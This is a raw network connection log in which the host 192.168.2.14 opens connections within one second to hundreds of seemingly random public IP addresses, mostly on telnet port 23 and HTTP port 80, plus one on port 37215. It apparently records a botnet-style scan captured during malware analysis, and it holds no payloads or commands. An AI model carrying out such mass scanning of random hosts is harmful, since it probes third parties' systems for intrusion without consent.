Oct 14, 2024 17:30:14.952685118 CEST	12058	23	192.168.2.14	182.5.100.1
Oct 14, 2024 17:30:14.952685118 CEST	12058	23	192.168.2.14	155.24.85.18
Oct 14, 2024 17:30:14.952699900 CEST	12058	23	192.168.2.14	82.42.244.227
Oct 14, 2024 17:30:14.952708960 CEST	12058	23	192.168.2.14	209.180.41.33
Oct 14, 2024 17:30:14.952708960 CEST	12058	23	192.168.2.14	61.176.158.156
Oct 14, 2024 17:30:14.952708960 CEST	12058	23	192.168.2.14	67.31.78.193
Oct 14, 2024 17:30:14.952716112 CEST	12058	23	192.168.2.14	150.230.76.163
Oct 14, 2024 17:30:14.952729940 CEST	12058	23	192.168.2.14	77.180.12.205
Oct 14, 2024 17:30:14.952729940 CEST	12058	23	192.168.2.14	191.255.133.127
Oct 14, 2024 17:30:14.952740908 CEST	12058	23	192.168.2.14	68.65.124.61
Oct 14, 2024 17:30:14.952740908 CEST	12058	23	192.168.2.14	191.250.236.123
Oct 14, 2024 17:30:14.952749968 CEST	12058	23	192.168.2.14	151.101.112.224
Oct 14, 2024 17:30:14.952764034 CEST	12058	23	192.168.2.14	223.162.62.219
Oct 14, 2024 17:30:14.952765942 CEST	12058	23	192.168.2.14	156.137.156.227
Oct 14, 2024 17:30:14.952775955 CEST	12058	23	192.168.2.14	122.81.207.103
Oct 14, 2024 17:30:14.952785969 CEST	12058	23	192.168.2.14	204.185.242.193
Oct 14, 2024 17:30:14.952797890 CEST	12058	23	192.168.2.14	191.22.81.15
Oct 14, 2024 17:30:14.952799082 CEST	12058	23	192.168.2.14	204.208.48.123
Oct 14, 2024 17:30:14.952799082 CEST	12058	23	192.168.2.14	157.2.40.220
Oct 14, 2024 17:30:14.952811956 CEST	12058	23	192.168.2.14	70.202.173.170
Oct 14, 2024 17:30:14.952811956 CEST	12058	23	192.168.2.14	199.189.165.185
Oct 14, 2024 17:30:14.952827930 CEST	12058	23	192.168.2.14	193.243.26.35
Oct 14, 2024 17:30:14.952827930 CEST	12058	23	192.168.2.14	100.184.138.188
Oct 14, 2024 17:30:14.952840090 CEST	12058	23	192.168.2.14	197.70.40.35
Oct 14, 2024 17:30:14.952842951 CEST	12058	23	192.168.2.14	203.215.182.33
Oct 14, 2024 17:30:14.952857971 CEST	12058	23	192.168.2.14	129.118.94.197
Oct 14, 2024 17:30:14.952860117 CEST	12058	23	192.168.2.14	57.129.93.220
Oct 14, 2024 17:30:14.952861071 CEST	12058	23	192.168.2.14	198.59.131.95
Oct 14, 2024 17:30:14.952868938 CEST	12058	23	192.168.2.14	31.170.31.52
Oct 14, 2024 17:30:14.952881098 CEST	12058	23	192.168.2.14	62.48.239.36
Oct 14, 2024 17:30:14.955295086 CEST	23	12058	185.41.61.9	192.168.2.14
Oct 14, 2024 17:30:14.955360889 CEST	12058	23	192.168.2.14	185.41.61.9
Oct 14, 2024 17:30:14.955606937 CEST	23	12058	90.165.70.7	192.168.2.14
Oct 14, 2024 17:30:14.955656052 CEST	12058	23	192.168.2.14	90.165.70.7
Oct 14, 2024 17:30:14.956366062 CEST	23	12058	205.95.240.210	192.168.2.14
Oct 14, 2024 17:30:14.956458092 CEST	12058	23	192.168.2.14	205.95.240.210
Oct 14, 2024 17:30:14.962511063 CEST	57480	23	192.168.2.14	149.157.80.25
Oct 14, 2024 17:30:14.962517977 CEST	48072	23	192.168.2.14	120.221.255.168
Oct 14, 2024 17:30:14.962524891 CEST	47592	23	192.168.2.14	59.43.113.243
Oct 14, 2024 17:30:14.962538958 CEST	51748	23	192.168.2.14	64.233.91.229
Oct 14, 2024 17:30:14.962548018 CEST	42356	23	192.168.2.14	36.193.239.42
Oct 14, 2024 17:30:14.962553978 CEST	57144	23	192.168.2.14	20.41.227.56
Oct 14, 2024 17:30:14.962553978 CEST	59446	23	192.168.2.14	207.51.144.201
Oct 14, 2024 17:30:14.962570906 CEST	58624	23	192.168.2.14	181.85.15.198
Oct 14, 2024 17:30:14.962569952 CEST	54194	23	192.168.2.14	54.137.92.147
Oct 14, 2024 17:30:14.962579012 CEST	35274	23	192.168.2.14	78.95.113.31
Oct 14, 2024 17:30:14.962579012 CEST	60542	23	192.168.2.14	13.41.77.229
Oct 14, 2024 17:30:14.962590933 CEST	48478	23	192.168.2.14	202.154.202.95
Oct 14, 2024 17:30:14.962605953 CEST	46982	23	192.168.2.14	54.42.75.80
Oct 14, 2024 17:30:14.962605953 CEST	40624	23	192.168.2.14	52.181.142.158
Oct 14, 2024 17:30:14.962618113 CEST	46908	23	192.168.2.14	126.8.232.12
Oct 14, 2024 17:30:14.962618113 CEST	50336	23	192.168.2.14	221.140.235.127
Oct 14, 2024 17:30:14.962618113 CEST	45714	23	192.168.2.14	166.235.22.33
Oct 14, 2024 17:30:14.962634087 CEST	39000	23	192.168.2.14	36.85.238.136
Oct 14, 2024 17:30:14.962640047 CEST	58484	23	192.168.2.14	77.176.53.5
Oct 14, 2024 17:30:14.962641001 CEST	46670	23	192.168.2.14	119.202.226.184
Oct 14, 2024 17:30:14.962641001 CEST	50708	23	192.168.2.14	223.134.192.62
Oct 14, 2024 17:30:14.962646961 CEST	51802	23	192.168.2.14	40.11.33.56
Oct 14, 2024 17:30:14.962646961 CEST	49594	23	192.168.2.14	194.16.122.160
Oct 14, 2024 17:30:14.962646961 CEST	46874	23	192.168.2.14	63.175.43.186
Oct 14, 2024 17:30:14.962652922 CEST	49304	23	192.168.2.14	45.147.152.16
Oct 14, 2024 17:30:14.962657928 CEST	43186	23	192.168.2.14	61.157.113.145
Oct 14, 2024 17:30:14.962661982 CEST	54318	23	192.168.2.14	83.8.152.143
Oct 14, 2024 17:30:14.962671995 CEST	56004	23	192.168.2.14	200.169.94.47
Oct 14, 2024 17:30:14.962680101 CEST	45344	23	192.168.2.14	130.205.78.119
Oct 14, 2024 17:30:14.962680101 CEST	36692	23	192.168.2.14	51.145.55.88
Oct 14, 2024 17:30:14.962682962 CEST	55686	23	192.168.2.14	42.0.104.102
Oct 14, 2024 17:30:14.962685108 CEST	36308	23	192.168.2.14	92.218.213.247
Oct 14, 2024 17:30:14.962693930 CEST	36502	23	192.168.2.14	43.94.20.3
Oct 14, 2024 17:30:14.962693930 CEST	44382	23	192.168.2.14	174.47.108.237
Oct 14, 2024 17:30:14.962703943 CEST	34482	23	192.168.2.14	106.234.11.119
Oct 14, 2024 17:30:14.962708950 CEST	59212	23	192.168.2.14	133.90.83.51
Oct 14, 2024 17:30:14.962716103 CEST	51852	23	192.168.2.14	67.28.72.169
Oct 14, 2024 17:30:14.962719917 CEST	48156	23	192.168.2.14	140.67.0.181
Oct 14, 2024 17:30:14.962729931 CEST	36376	23	192.168.2.14	116.86.132.175
Oct 14, 2024 17:30:14.962737083 CEST	39438	23	192.168.2.14	92.20.61.247
Oct 14, 2024 17:30:14.962745905 CEST	37834	23	192.168.2.14	195.85.3.0
Oct 14, 2024 17:30:14.962745905 CEST	54666	23	192.168.2.14	92.169.37.128
Oct 14, 2024 17:30:14.962758064 CEST	35884	23	192.168.2.14	144.13.225.134
Oct 14, 2024 17:30:14.962759018 CEST	59914	23	192.168.2.14	200.67.241.8
Oct 14, 2024 17:30:14.962759018 CEST	35106	23	192.168.2.14	138.223.238.38
Oct 14, 2024 17:30:14.962775946 CEST	44762	23	192.168.2.14	65.144.118.22
Oct 14, 2024 17:30:14.962781906 CEST	43754	23	192.168.2.14	148.157.29.34
Oct 14, 2024 17:30:14.962783098 CEST	53488	23	192.168.2.14	144.87.68.60
Oct 14, 2024 17:30:14.962793112 CEST	47490	23	192.168.2.14	61.181.58.114
Oct 14, 2024 17:30:14.962793112 CEST	56522	23	192.168.2.14	163.69.236.209
Oct 14, 2024 17:30:14.962799072 CEST	53664	23	192.168.2.14	19.195.246.127
Oct 14, 2024 17:30:14.962810993 CEST	48088	23	192.168.2.14	75.182.21.175
Oct 14, 2024 17:30:14.962817907 CEST	55078	23	192.168.2.14	118.24.114.173
Oct 14, 2024 17:30:14.962817907 CEST	40524	23	192.168.2.14	201.119.197.206
Oct 14, 2024 17:30:14.962831974 CEST	43428	23	192.168.2.14	203.54.30.179
Oct 14, 2024 17:30:14.962831974 CEST	32918	23	192.168.2.14	192.17.132.242
Oct 14, 2024 17:30:14.962837934 CEST	46084	23	192.168.2.14	4.108.171.222
Oct 14, 2024 17:30:14.962841988 CEST	38512	23	192.168.2.14	120.215.248.164
Oct 14, 2024 17:30:14.962841988 CEST	35800	23	192.168.2.14	88.39.93.247
Oct 14, 2024 17:30:14.962846994 CEST	36850	23	192.168.2.14	131.99.188.92
Oct 14, 2024 17:30:14.962860107 CEST	47076	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:14.962892056 CEST	52346	23	192.168.2.14	95.136.243.25
Oct 14, 2024 17:30:14.962892056 CEST	54576	23	192.168.2.14	154.127.1.238
Oct 14, 2024 17:30:14.962892056 CEST	53970	23	192.168.2.14	162.86.243.159
Oct 14, 2024 17:30:14.962892056 CEST	37496	23	192.168.2.14	104.135.57.160
Oct 14, 2024 17:30:14.962892056 CEST	48632	23	192.168.2.14	120.12.113.172
Oct 14, 2024 17:30:14.962994099 CEST	52288	23	192.168.2.14	89.218.183.12
Oct 14, 2024 17:30:15.221757889 CEST	53274	80	192.168.2.14	32.99.21.186
Oct 14, 2024 17:30:15.221757889 CEST	53274	80	192.168.2.14	1.148.190.212
Oct 14, 2024 17:30:15.221770048 CEST	53274	80	192.168.2.14	96.216.253.77
Oct 14, 2024 17:30:15.221774101 CEST	53274	80	192.168.2.14	25.253.62.124
Oct 14, 2024 17:30:15.221791029 CEST	53274	80	192.168.2.14	205.107.145.232
Oct 14, 2024 17:30:15.221796036 CEST	53274	80	192.168.2.14	108.59.218.14
Oct 14, 2024 17:30:15.221796036 CEST	53274	80	192.168.2.14	154.169.141.100
Oct 14, 2024 17:30:15.221796036 CEST	53274	80	192.168.2.14	204.238.103.57
Oct 14, 2024 17:30:15.221807003 CEST	53274	80	192.168.2.14	183.57.13.174
Oct 14, 2024 17:30:15.221807003 CEST	53274	80	192.168.2.14	211.93.158.133
Oct 14, 2024 17:30:15.221813917 CEST	53274	80	192.168.2.14	120.102.6.25
Oct 14, 2024 17:30:15.221813917 CEST	53274	80	192.168.2.14	151.30.154.70
Oct 14, 2024 17:30:15.221815109 CEST	53274	80	192.168.2.14	216.238.52.110
Oct 14, 2024 17:30:15.221815109 CEST	53274	80	192.168.2.14	178.207.112.218
Oct 14, 2024 17:30:15.221815109 CEST	53274	80	192.168.2.14	149.214.36.48
Oct 14, 2024 17:30:15.221815109 CEST	53274	80	192.168.2.14	13.59.189.225
Oct 14, 2024 17:30:15.221818924 CEST	53274	80	192.168.2.14	67.20.26.16
Oct 14, 2024 17:30:15.221822977 CEST	53274	80	192.168.2.14	190.118.154.120
Oct 14, 2024 17:30:15.221820116 CEST	53274	80	192.168.2.14	211.106.8.26
Oct 14, 2024 17:30:15.221820116 CEST	53274	80	192.168.2.14	80.60.19.51
Oct 14, 2024 17:30:15.221842051 CEST	53274	80	192.168.2.14	209.103.14.109
Oct 14, 2024 17:30:15.221843004 CEST	53274	80	192.168.2.14	179.90.54.18
Oct 14, 2024 17:30:15.221842051 CEST	53274	80	192.168.2.14	85.39.9.213
Oct 14, 2024 17:30:15.221843958 CEST	53274	80	192.168.2.14	1.20.93.146
Oct 14, 2024 17:30:15.221842051 CEST	53274	80	192.168.2.14	210.18.166.10
Oct 14, 2024 17:30:15.221846104 CEST	53274	80	192.168.2.14	95.229.108.229
Oct 14, 2024 17:30:15.221846104 CEST	53274	80	192.168.2.14	71.115.166.41
Oct 14, 2024 17:30:15.221868038 CEST	53274	80	192.168.2.14	160.114.197.252
Oct 14, 2024 17:30:15.221882105 CEST	53274	80	192.168.2.14	12.147.51.182
Oct 14, 2024 17:30:15.221887112 CEST	53274	80	192.168.2.14	128.72.16.106
Oct 14, 2024 17:30:15.221888065 CEST	53274	80	192.168.2.14	204.84.79.221
Oct 14, 2024 17:30:15.221888065 CEST	53274	80	192.168.2.14	40.49.129.97
Oct 14, 2024 17:30:15.221896887 CEST	53274	80	192.168.2.14	219.122.70.88
Oct 14, 2024 17:30:15.221899986 CEST	53274	80	192.168.2.14	195.241.196.185
Oct 14, 2024 17:30:15.221908092 CEST	53274	80	192.168.2.14	158.178.75.104
Oct 14, 2024 17:30:15.221932888 CEST	53274	80	192.168.2.14	58.174.209.103
Oct 14, 2024 17:30:15.221934080 CEST	53274	80	192.168.2.14	156.179.103.250
Oct 14, 2024 17:30:15.221939087 CEST	53274	80	192.168.2.14	63.130.190.72
Oct 14, 2024 17:30:15.221939087 CEST	53274	80	192.168.2.14	145.218.205.226
Oct 14, 2024 17:30:15.221941948 CEST	53274	80	192.168.2.14	154.46.124.122
Oct 14, 2024 17:30:15.221941948 CEST	53274	80	192.168.2.14	96.123.52.160
Oct 14, 2024 17:30:15.221941948 CEST	53274	80	192.168.2.14	51.218.205.132
Oct 14, 2024 17:30:15.221944094 CEST	53274	80	192.168.2.14	150.119.48.15
Oct 14, 2024 17:30:15.221944094 CEST	53274	80	192.168.2.14	167.111.242.78
Oct 14, 2024 17:30:15.221968889 CEST	53274	80	192.168.2.14	190.209.156.104
Oct 14, 2024 17:30:15.221968889 CEST	53274	80	192.168.2.14	177.229.59.152
Oct 14, 2024 17:30:15.221968889 CEST	53274	80	192.168.2.14	199.229.84.164
Oct 14, 2024 17:30:15.221968889 CEST	53274	80	192.168.2.14	185.101.76.107
Oct 14, 2024 17:30:15.221970081 CEST	53274	80	192.168.2.14	59.12.207.239
Oct 14, 2024 17:30:15.221988916 CEST	53274	80	192.168.2.14	121.151.236.167
Oct 14, 2024 17:30:15.221996069 CEST	53274	80	192.168.2.14	216.227.29.246
Oct 14, 2024 17:30:15.222002029 CEST	53274	80	192.168.2.14	192.108.108.159
Oct 14, 2024 17:30:15.222026110 CEST	53274	80	192.168.2.14	218.231.109.50
Oct 14, 2024 17:30:15.222037077 CEST	53274	80	192.168.2.14	43.142.47.106
Oct 14, 2024 17:30:15.222037077 CEST	53274	80	192.168.2.14	4.142.138.89
Oct 14, 2024 17:30:15.222040892 CEST	53274	80	192.168.2.14	110.36.31.153
Oct 14, 2024 17:30:15.222049952 CEST	53274	80	192.168.2.14	157.97.230.119
Oct 14, 2024 17:30:15.222053051 CEST	53274	80	192.168.2.14	129.176.183.54
Oct 14, 2024 17:30:15.222059011 CEST	53274	80	192.168.2.14	103.87.106.241
Oct 14, 2024 17:30:15.222063065 CEST	53274	80	192.168.2.14	18.95.189.255
Oct 14, 2024 17:30:15.222074986 CEST	53274	80	192.168.2.14	213.161.95.25
Oct 14, 2024 17:30:15.222079992 CEST	53274	80	192.168.2.14	194.188.3.152
Oct 14, 2024 17:30:15.222089052 CEST	53274	80	192.168.2.14	194.245.23.63
Oct 14, 2024 17:30:15.222090960 CEST	53274	80	192.168.2.14	80.211.152.9
Oct 14, 2024 17:30:15.222103119 CEST	53274	80	192.168.2.14	139.163.182.29
Oct 14, 2024 17:30:15.222104073 CEST	53274	80	192.168.2.14	116.107.232.118
Oct 14, 2024 17:30:15.222110033 CEST	53274	80	192.168.2.14	184.251.9.102
Oct 14, 2024 17:30:15.222114086 CEST	53274	80	192.168.2.14	129.26.130.158
Oct 14, 2024 17:30:15.222122908 CEST	53274	80	192.168.2.14	208.213.77.243
Oct 14, 2024 17:30:15.222134113 CEST	53274	80	192.168.2.14	171.1.242.86
Oct 14, 2024 17:30:15.222134113 CEST	53274	80	192.168.2.14	138.129.141.131
Oct 14, 2024 17:30:15.222141027 CEST	53274	80	192.168.2.14	101.105.79.26
Oct 14, 2024 17:30:15.222171068 CEST	53274	80	192.168.2.14	129.194.162.239
Oct 14, 2024 17:30:15.222171068 CEST	53274	80	192.168.2.14	128.73.19.228
Oct 14, 2024 17:30:15.222171068 CEST	53274	80	192.168.2.14	144.41.154.175
Oct 14, 2024 17:30:15.222178936 CEST	53274	80	192.168.2.14	84.114.38.114
Oct 14, 2024 17:30:15.222178936 CEST	53274	80	192.168.2.14	157.253.20.69
Oct 14, 2024 17:30:15.222188950 CEST	53274	80	192.168.2.14	58.39.76.177
Oct 14, 2024 17:30:15.222198009 CEST	53274	80	192.168.2.14	54.48.183.177
Oct 14, 2024 17:30:15.222199917 CEST	53274	80	192.168.2.14	104.231.109.199
Oct 14, 2024 17:30:15.222207069 CEST	53274	80	192.168.2.14	143.78.36.66
Oct 14, 2024 17:30:15.222207069 CEST	53274	80	192.168.2.14	128.208.227.54
Oct 14, 2024 17:30:15.222212076 CEST	53274	80	192.168.2.14	58.64.220.54
Oct 14, 2024 17:30:15.222217083 CEST	53274	80	192.168.2.14	91.55.60.220
Oct 14, 2024 17:30:15.222219944 CEST	53274	80	192.168.2.14	118.124.43.20
Oct 14, 2024 17:30:15.222222090 CEST	53274	80	192.168.2.14	109.177.236.247
Oct 14, 2024 17:30:15.222223043 CEST	53274	80	192.168.2.14	24.14.74.202
Oct 14, 2024 17:30:15.222227097 CEST	53274	80	192.168.2.14	128.39.213.17
Oct 14, 2024 17:30:15.222232103 CEST	53274	80	192.168.2.14	209.24.36.234
Oct 14, 2024 17:30:15.222234964 CEST	53274	80	192.168.2.14	213.114.175.157
Oct 14, 2024 17:30:15.222242117 CEST	53274	80	192.168.2.14	23.213.232.162
Oct 14, 2024 17:30:15.222244978 CEST	53274	80	192.168.2.14	24.196.223.148
Oct 14, 2024 17:30:15.222253084 CEST	53274	80	192.168.2.14	64.116.5.249
Oct 14, 2024 17:30:15.222254992 CEST	53274	80	192.168.2.14	73.172.132.29
Oct 14, 2024 17:30:15.222270012 CEST	53274	80	192.168.2.14	168.39.72.214
Oct 14, 2024 17:30:15.222275019 CEST	53274	80	192.168.2.14	69.225.66.68
Oct 14, 2024 17:30:15.222282887 CEST	53274	80	192.168.2.14	47.143.72.227
Oct 14, 2024 17:30:15.222284079 CEST	53274	80	192.168.2.14	185.49.220.159
Oct 14, 2024 17:30:15.222286940 CEST	53274	80	192.168.2.14	184.186.155.235
Oct 14, 2024 17:30:15.222294092 CEST	53274	80	192.168.2.14	44.114.28.108
Oct 14, 2024 17:30:15.222305059 CEST	53274	80	192.168.2.14	171.78.231.232
Oct 14, 2024 17:30:15.222305059 CEST	53274	80	192.168.2.14	108.183.29.98
Oct 14, 2024 17:30:15.222306013 CEST	53274	80	192.168.2.14	5.161.26.249
Oct 14, 2024 17:30:15.222306013 CEST	53274	80	192.168.2.14	100.224.251.149
Oct 14, 2024 17:30:15.222330093 CEST	53274	80	192.168.2.14	68.200.74.220
Oct 14, 2024 17:30:15.222332001 CEST	53274	80	192.168.2.14	213.28.248.67
Oct 14, 2024 17:30:15.222343922 CEST	53274	80	192.168.2.14	43.140.89.196
Oct 14, 2024 17:30:15.222346067 CEST	53274	80	192.168.2.14	179.246.40.14
Oct 14, 2024 17:30:15.222346067 CEST	53274	80	192.168.2.14	102.5.230.226
Oct 14, 2024 17:30:15.222354889 CEST	53274	80	192.168.2.14	46.183.85.34
Oct 14, 2024 17:30:15.222357035 CEST	53274	80	192.168.2.14	57.151.57.160
Oct 14, 2024 17:30:15.222364902 CEST	53274	80	192.168.2.14	182.160.187.145
Oct 14, 2024 17:30:15.222368956 CEST	53274	80	192.168.2.14	66.139.230.95
Oct 14, 2024 17:30:15.222390890 CEST	53274	80	192.168.2.14	128.10.82.201
Oct 14, 2024 17:30:15.222394943 CEST	53274	80	192.168.2.14	117.255.167.26
Oct 14, 2024 17:30:15.222394943 CEST	53274	80	192.168.2.14	17.242.52.200
Oct 14, 2024 17:30:15.222394943 CEST	53274	80	192.168.2.14	31.155.150.186
Oct 14, 2024 17:30:15.222394943 CEST	53274	80	192.168.2.14	220.54.237.105
Oct 14, 2024 17:30:15.222399950 CEST	53274	80	192.168.2.14	150.104.23.87
Oct 14, 2024 17:30:15.222404957 CEST	53274	80	192.168.2.14	135.217.167.139
Oct 14, 2024 17:30:15.222405910 CEST	53274	80	192.168.2.14	148.72.242.87
Oct 14, 2024 17:30:15.222417116 CEST	53274	80	192.168.2.14	89.195.124.195
Oct 14, 2024 17:30:15.222417116 CEST	53274	80	192.168.2.14	154.100.142.79
Oct 14, 2024 17:30:15.222418070 CEST	53274	80	192.168.2.14	211.99.110.141
Oct 14, 2024 17:30:15.222429037 CEST	53274	80	192.168.2.14	209.197.173.247
Oct 14, 2024 17:30:15.222426891 CEST	53274	80	192.168.2.14	51.79.200.58
Oct 14, 2024 17:30:15.222429037 CEST	53274	80	192.168.2.14	97.185.191.67
Oct 14, 2024 17:30:15.222426891 CEST	53274	80	192.168.2.14	220.121.169.121
Oct 14, 2024 17:30:15.222438097 CEST	53274	80	192.168.2.14	164.30.86.35
Oct 14, 2024 17:30:15.222444057 CEST	53274	80	192.168.2.14	122.226.249.85
Oct 14, 2024 17:30:15.222470999 CEST	53274	80	192.168.2.14	183.97.237.75
Oct 14, 2024 17:30:15.222474098 CEST	53274	80	192.168.2.14	198.247.224.92
Oct 14, 2024 17:30:15.222479105 CEST	53274	80	192.168.2.14	169.232.113.168
Oct 14, 2024 17:30:15.222481012 CEST	53274	80	192.168.2.14	206.132.25.180
Oct 14, 2024 17:30:15.222498894 CEST	53274	80	192.168.2.14	64.187.149.217
Oct 14, 2024 17:30:15.222506046 CEST	53274	80	192.168.2.14	14.163.20.204
Oct 14, 2024 17:30:15.222507000 CEST	53274	80	192.168.2.14	50.134.233.78
Oct 14, 2024 17:30:15.222507000 CEST	53274	80	192.168.2.14	64.189.36.1
Oct 14, 2024 17:30:15.222518921 CEST	53274	80	192.168.2.14	175.50.215.126
Oct 14, 2024 17:30:15.222522974 CEST	53274	80	192.168.2.14	24.19.21.137
Oct 14, 2024 17:30:15.222534895 CEST	53274	80	192.168.2.14	78.7.233.200
Oct 14, 2024 17:30:15.222539902 CEST	53274	80	192.168.2.14	213.107.46.148
Oct 14, 2024 17:30:15.222553015 CEST	53274	80	192.168.2.14	120.105.134.162
Oct 14, 2024 17:30:15.222553015 CEST	53274	80	192.168.2.14	180.153.118.225
Oct 14, 2024 17:30:15.222553968 CEST	53274	80	192.168.2.14	166.130.213.248
Oct 14, 2024 17:30:15.222554922 CEST	53274	80	192.168.2.14	181.133.122.144
Oct 14, 2024 17:30:15.222563028 CEST	53274	80	192.168.2.14	219.164.253.13
Oct 14, 2024 17:30:15.222564936 CEST	53274	80	192.168.2.14	161.208.188.53
Oct 14, 2024 17:30:15.222553015 CEST	53274	80	192.168.2.14	36.21.243.144
Oct 14, 2024 17:30:15.222573042 CEST	53274	80	192.168.2.14	218.185.136.43
Oct 14, 2024 17:30:15.222575903 CEST	53274	80	192.168.2.14	12.175.129.242
Oct 14, 2024 17:30:15.222575903 CEST	53274	80	192.168.2.14	72.128.163.73
Oct 14, 2024 17:30:15.222575903 CEST	53274	80	192.168.2.14	43.201.13.150
Oct 14, 2024 17:30:15.222575903 CEST	53274	80	192.168.2.14	8.114.102.22
Oct 14, 2024 17:30:15.222575903 CEST	53274	80	192.168.2.14	20.9.125.111
Oct 14, 2024 17:30:15.222594023 CEST	53274	80	192.168.2.14	199.80.234.195
Oct 14, 2024 17:30:15.222613096 CEST	53274	80	192.168.2.14	44.38.166.196
Oct 14, 2024 17:30:15.222613096 CEST	53274	80	192.168.2.14	75.128.221.235
Oct 14, 2024 17:30:15.222624063 CEST	53274	80	192.168.2.14	89.8.33.127
Oct 14, 2024 17:30:15.222624063 CEST	53274	80	192.168.2.14	203.142.125.171
Oct 14, 2024 17:30:15.222625017 CEST	53274	80	192.168.2.14	38.108.38.108
Oct 14, 2024 17:30:15.222632885 CEST	53274	80	192.168.2.14	111.229.232.154
Oct 14, 2024 17:30:15.222634077 CEST	53274	80	192.168.2.14	123.181.229.249
Oct 14, 2024 17:30:15.222644091 CEST	53274	80	192.168.2.14	52.107.62.74
Oct 14, 2024 17:30:15.222644091 CEST	53274	80	192.168.2.14	202.59.238.72
Oct 14, 2024 17:30:15.222644091 CEST	53274	80	192.168.2.14	95.196.250.131
Oct 14, 2024 17:30:15.222647905 CEST	53274	80	192.168.2.14	53.83.81.196
Oct 14, 2024 17:30:15.222650051 CEST	53274	80	192.168.2.14	180.170.95.252
Oct 14, 2024 17:30:15.222651958 CEST	53274	80	192.168.2.14	61.117.129.193
Oct 14, 2024 17:30:15.222657919 CEST	53274	80	192.168.2.14	62.53.179.1
Oct 14, 2024 17:30:15.222665071 CEST	53274	80	192.168.2.14	158.248.144.18
Oct 14, 2024 17:30:15.222676039 CEST	53274	80	192.168.2.14	99.16.235.191
Oct 14, 2024 17:30:15.222685099 CEST	53274	80	192.168.2.14	52.54.70.186
Oct 14, 2024 17:30:15.222687006 CEST	53274	80	192.168.2.14	145.243.233.70
Oct 14, 2024 17:30:15.222695112 CEST	53274	80	192.168.2.14	219.12.47.37
Oct 14, 2024 17:30:15.222702026 CEST	53274	80	192.168.2.14	114.42.135.56
Oct 14, 2024 17:30:15.222702026 CEST	53274	80	192.168.2.14	186.158.143.193
Oct 14, 2024 17:30:15.222714901 CEST	53274	80	192.168.2.14	20.36.98.185
Oct 14, 2024 17:30:15.222737074 CEST	53274	80	192.168.2.14	109.171.183.62
Oct 14, 2024 17:30:15.222738981 CEST	53274	80	192.168.2.14	73.63.39.233
Oct 14, 2024 17:30:15.222742081 CEST	53274	80	192.168.2.14	138.93.181.249
Oct 14, 2024 17:30:15.222754002 CEST	53274	80	192.168.2.14	110.98.170.68
Oct 14, 2024 17:30:15.222757101 CEST	53274	80	192.168.2.14	32.151.56.190
Oct 14, 2024 17:30:15.222757101 CEST	53274	80	192.168.2.14	18.79.85.226
Oct 14, 2024 17:30:15.222771883 CEST	53274	80	192.168.2.14	5.66.23.227
Oct 14, 2024 17:30:15.222776890 CEST	53274	80	192.168.2.14	43.234.117.129
Oct 14, 2024 17:30:15.222783089 CEST	53274	80	192.168.2.14	145.119.0.35
Oct 14, 2024 17:30:15.222783089 CEST	53274	80	192.168.2.14	193.13.95.62
Oct 14, 2024 17:30:15.222793102 CEST	53274	80	192.168.2.14	221.102.106.144
Oct 14, 2024 17:30:15.222793102 CEST	53274	80	192.168.2.14	85.11.82.126
Oct 14, 2024 17:30:15.222805977 CEST	53274	80	192.168.2.14	159.248.143.90
Oct 14, 2024 17:30:15.222805977 CEST	53274	80	192.168.2.14	146.110.247.37
Oct 14, 2024 17:30:15.222805977 CEST	53274	80	192.168.2.14	130.216.247.195
Oct 14, 2024 17:30:15.222805977 CEST	53274	80	192.168.2.14	91.25.33.254
Oct 14, 2024 17:30:15.222814083 CEST	53274	80	192.168.2.14	199.215.93.68
Oct 14, 2024 17:30:15.222815990 CEST	53274	80	192.168.2.14	160.197.73.148
Oct 14, 2024 17:30:15.222815990 CEST	53274	80	192.168.2.14	157.145.151.225
Oct 14, 2024 17:30:15.222836971 CEST	53274	80	192.168.2.14	90.4.163.254
Oct 14, 2024 17:30:15.222841024 CEST	53274	80	192.168.2.14	106.41.120.61
Oct 14, 2024 17:30:15.222846985 CEST	53274	80	192.168.2.14	164.42.116.225
Oct 14, 2024 17:30:15.222848892 CEST	53274	80	192.168.2.14	58.192.231.74
Oct 14, 2024 17:30:15.222861052 CEST	53274	80	192.168.2.14	86.85.228.238
Oct 14, 2024 17:30:15.222866058 CEST	53274	80	192.168.2.14	185.122.70.73
Oct 14, 2024 17:30:15.222872019 CEST	53274	80	192.168.2.14	212.231.133.135
Oct 14, 2024 17:30:15.222872972 CEST	53274	80	192.168.2.14	147.124.85.56
Oct 14, 2024 17:30:15.222872019 CEST	53274	80	192.168.2.14	93.220.136.206
Oct 14, 2024 17:30:15.222872019 CEST	53274	80	192.168.2.14	159.124.197.23
Oct 14, 2024 17:30:15.222882986 CEST	53274	80	192.168.2.14	131.13.239.161
Oct 14, 2024 17:30:15.222883940 CEST	53274	80	192.168.2.14	37.231.144.150
Oct 14, 2024 17:30:15.222883940 CEST	53274	80	192.168.2.14	36.118.122.59
Oct 14, 2024 17:30:15.222889900 CEST	53274	80	192.168.2.14	27.65.3.234
Oct 14, 2024 17:30:15.222888947 CEST	53274	80	192.168.2.14	25.32.95.197
Oct 14, 2024 17:30:15.222888947 CEST	53274	80	192.168.2.14	59.151.36.89
Oct 14, 2024 17:30:15.222894907 CEST	53274	80	192.168.2.14	71.87.43.253
Oct 14, 2024 17:30:15.222907066 CEST	53274	80	192.168.2.14	53.88.46.144
Oct 14, 2024 17:30:15.222923994 CEST	53274	80	192.168.2.14	67.58.18.177
Oct 14, 2024 17:30:15.222925901 CEST	53274	80	192.168.2.14	20.16.247.202
Oct 14, 2024 17:30:15.222933054 CEST	53274	80	192.168.2.14	96.91.54.218
Oct 14, 2024 17:30:15.222946882 CEST	53274	80	192.168.2.14	122.85.103.80
Oct 14, 2024 17:30:15.222949982 CEST	53274	80	192.168.2.14	145.112.73.119
Oct 14, 2024 17:30:15.222954988 CEST	53274	80	192.168.2.14	114.110.97.110
Oct 14, 2024 17:30:15.222960949 CEST	53274	80	192.168.2.14	38.239.15.43
Oct 14, 2024 17:30:15.222966909 CEST	53274	80	192.168.2.14	51.214.145.54
Oct 14, 2024 17:30:15.222976923 CEST	53274	80	192.168.2.14	156.143.250.122
Oct 14, 2024 17:30:15.222979069 CEST	53274	80	192.168.2.14	212.62.101.182
Oct 14, 2024 17:30:15.222980022 CEST	53274	80	192.168.2.14	24.107.156.250
Oct 14, 2024 17:30:15.222979069 CEST	53274	80	192.168.2.14	72.80.28.201
Oct 14, 2024 17:30:15.222982883 CEST	53274	80	192.168.2.14	186.5.224.12
Oct 14, 2024 17:30:15.222985029 CEST	53274	80	192.168.2.14	92.77.72.158
Oct 14, 2024 17:30:15.222991943 CEST	53274	80	192.168.2.14	54.36.120.56
